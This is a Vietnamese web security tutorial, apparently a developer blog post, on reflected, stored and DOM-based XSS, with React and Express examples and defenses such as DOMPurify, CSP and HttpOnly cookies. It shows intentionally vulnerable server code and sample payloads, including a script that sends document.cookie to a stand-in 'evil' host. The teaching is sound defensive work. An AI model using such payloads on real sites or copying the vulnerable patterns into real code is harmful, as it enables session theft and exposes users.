Bỏ qua đến nội dung chính
XSSsecurityOWASPfrontendweb security

XSS Là Gì? Reflected, Stored, DOM-Based Cách Tránh

XSS là gì và 3 loại: reflected, stored, DOM-based. Cách tránh thật sự: output encoding, CSP, dangerouslySetInnerHTML đúng. Code React minh hoạ.

Xuất bản 8 phút đọc

XSS (Cross-Site Scripting) cho phép attacker chạy JS trong browser victim — chiếm session, đánh cắp token, key logger. Bài này phân tích 3 loại XSS với code thực tế và cách defense layered.

3 loại XSS

Reflected XSS

Payload trong URL/form, server reflect ngay vào HTML response:

// ❌ Server vulnerable
app.get('/search', (req, res) => {
  res.send(`<h1>Search: ${req.query.q}</h1>`)
})

// User mở: /search?q=<script>fetch('http://evil/'+document.cookie)</script>
// → script chạy trong browser victim

Stored XSS

Payload lưu DB (comment, profile bio), serve cho mọi user:

// ❌ Comment HTML render thẳng
app.post('/comments', async (req, res) => {
  await db.comments.insert({ html: req.body.text })  // không sanitize
})
app.get('/post/:id', async (req, res) => {
  const comments = await db.comments.findByPost(req.params.id)
  res.send(comments.map(c => `<div>${c.html}</div>`).join(''))
  // Mọi user vào page → execute payload của attacker
})

DOM-based XSS

Payload không tới server — JS client đọc URL/hash + render:

// ❌ SPA đọc hash
const username = window.location.hash.slice(1)
document.getElementById('greeting').innerHTML = `Hi ${username}`

// /#<img src=x onerror=alert(1)> → execute

React: auto escape + pitfall

// ✓ Auto escape — <script> thành text
function Comment({ text }) {
  return <div>{text}</div>
}

// ❌ dangerouslySetInnerHTML — vulnerable
<div dangerouslySetInnerHTML={{ __html: comment }} />

// ❌ href user-supplied — vulnerable javascript:
<a href={userUrl}>Click</a>
// userUrl = "javascript:alert(1)" → execute on click

// ✓ Validate scheme
function safeUrl(url: string) {
  try {
    const u = new URL(url, location.origin)
    return ['http:', 'https:', 'mailto:'].includes(u.protocol) ? u.href : '#'
  } catch { return '#' }
}
<a href={safeUrl(userUrl)}>Click</a>

Sanitize HTML với DOMPurify

npm install dompurify isomorphic-dompurify
import DOMPurify from 'isomorphic-dompurify'

function CommentBody({ html }: { html: string }) {
  const clean = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['p', 'a', 'strong', 'em', 'ul', 'ol', 'li', 'code'],
    ALLOWED_ATTR: ['href'],
    ALLOWED_URI_REGEXP: /^(?:https?|mailto):/i,
  })
  return <div dangerouslySetInnerHTML={{ __html: clean }} />
}

Whitelist tag/attr — ban mọi cái khác. Không dùng blacklist (luôn miss case).

Content Security Policy

Content-Security-Policy: default-src 'self';
  script-src 'self' 'nonce-abc123';
  style-src 'self' 'unsafe-inline';
  img-src 'self' https://cdn.alodev.vn data:;
  connect-src 'self' https://api.alodev.vn;
  frame-ancestors 'none';
  base-uri 'self';

Inline script chỉ allow nếu có nonce match. Attacker inject script không có nonce → CSP block. Detail ở CSP guide.

res.cookie('session', token, {
  httpOnly: true,    // JS không đọc được
  secure: true,      // chỉ HTTPS
  sameSite: 'lax',   // CSRF protection
  maxAge: 86400_000,
})

XSS không lấy được session token → attacker chỉ có thể action trong context user còn login.

Defense in depth

  1. Output encoding: React JSX auto, sanitize HTML user
  2. Input validation: Zod schema reject payload obvious
  3. CSP: block inline + external script không trust
  4. HttpOnly cookie: token không reachable từ JS
  5. SameSite cookie: chống CSRF kết hợp
  6. Audit: ESLint plugin react/no-danger, OWASP ZAP scan

Kết luận

XSS không có "magic fix" — defense-in-depth. React + DOMPurify + CSP + HttpOnly cookie cover 99% case. Đặc biệt cẩn thận với dangerouslySetInnerHTML và URL từ user. Tham khảo CSP để config layer ngoài cùng.

Zalo